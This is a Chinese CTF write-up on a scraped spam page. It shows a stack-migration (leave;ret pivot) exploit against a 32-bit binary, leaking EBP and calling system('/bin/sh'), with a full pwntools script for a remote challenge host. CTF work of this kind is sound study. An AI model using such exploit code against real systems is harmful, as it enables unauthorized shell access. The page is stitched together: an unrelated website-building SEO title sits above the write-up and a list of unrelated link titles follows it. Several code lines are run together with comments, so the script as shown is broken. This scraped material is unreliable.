当前位置: 首页 > news >正文

北京网站搭建费用重庆市制作网站公司哪家好

北京网站搭建费用,重庆市制作网站公司哪家好,软文代写新闻稿,北京装饰公司十强1.下载 checksec 用IDA32打开 定位main函数 发现了个假的后门函数: 看看vul函数: 使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造 所以使用栈迁移: 栈迁移需要用到leave ret 使用ROPgadget找地址: …

1.下载 checksec

用IDA32打开 定位main函数 

发现了个假的后门函数:

看看vul函数:

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造

所以使用栈迁移

栈迁移需要用到leave ret 使用ROPgadget找地址:

构造第一个payload 泄露EBP地址:

payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))

得到了EBP地址 需要调试以得出EBP地址离输入的距离:

下断点到vul函数 单步运行到函数快结尾位置查看栈情况:

看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38

接下来构造payload2 目的是使得EIP指向system函数

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

整体代码:

from pwn import *#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562#gdb.attach(p)
#pause()payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)p.send(payload2)
p.interactive()

运行 得到flag:

http://www.15wanjia.com/news/194962.html

相关文章:

  • 做网站是学什么编程语言室内设计网站大全网站
  • 西安建筑类公司龙岗网站关键词优化代理
  • 十大免费网站推广平台wordpress ality
  • 有没有设计网站在广州的惠州企业网站seo
  • 肥西上派网站开发盐城外贸网站建设
  • 工程师招聘网站怎样通过网址浏览自己做的网站
  • 网站商城模板wordpress redis评论
  • 网站维护主要内容有哪些公众号是小黄油的
  • 驻马店 网站制作互联网之光博览会预约
  • 水冶那里有做网站的自己做网站好做吗
  • 邱县专业做网站海拉尔建网站
  • 做网站用别人的源码可以吗网站建设竞标
  • jsp开发网站开发源码适合企业网站的cms
  • 建设网站 报告书老薛主机安装wordpress
  • 凡科网免费建站官网汕头建设信息网官网
  • 长治一般做一个网站需要多少钱设计网站公司可去亿企邦
  • 做后台系统的网站建设门户网站都需要什么意思
  • 网站建设开发用什么软件天眼免费查询个人
  • 网站建设产品说明书律所网站建设建议
  • 屏边县住房和城乡建设局网站杭州seo网站推广
  • 青岛网站建设公司怎么样个人网站整站下载
  • 建网站用什么服务器在线字体设计网站
  • 做网站内容图片多大广东省建设厅的注册中心网站
  • 网站发语音功能如何做百家号如何给网站做推广
  • 网站建设php实验报告免费logo设计无水印
  • 上海网站营销seo电话做网站建设有前景吗
  • 订单拆单在电商网站建设广州开发网站设计
  • 怎么做扫二维码就可以进入网站用jsp建设网站
  • 青岛响应式网站开发蚁坊舆情
  • 潜江做网站哪家好最优秀的佛山网站建设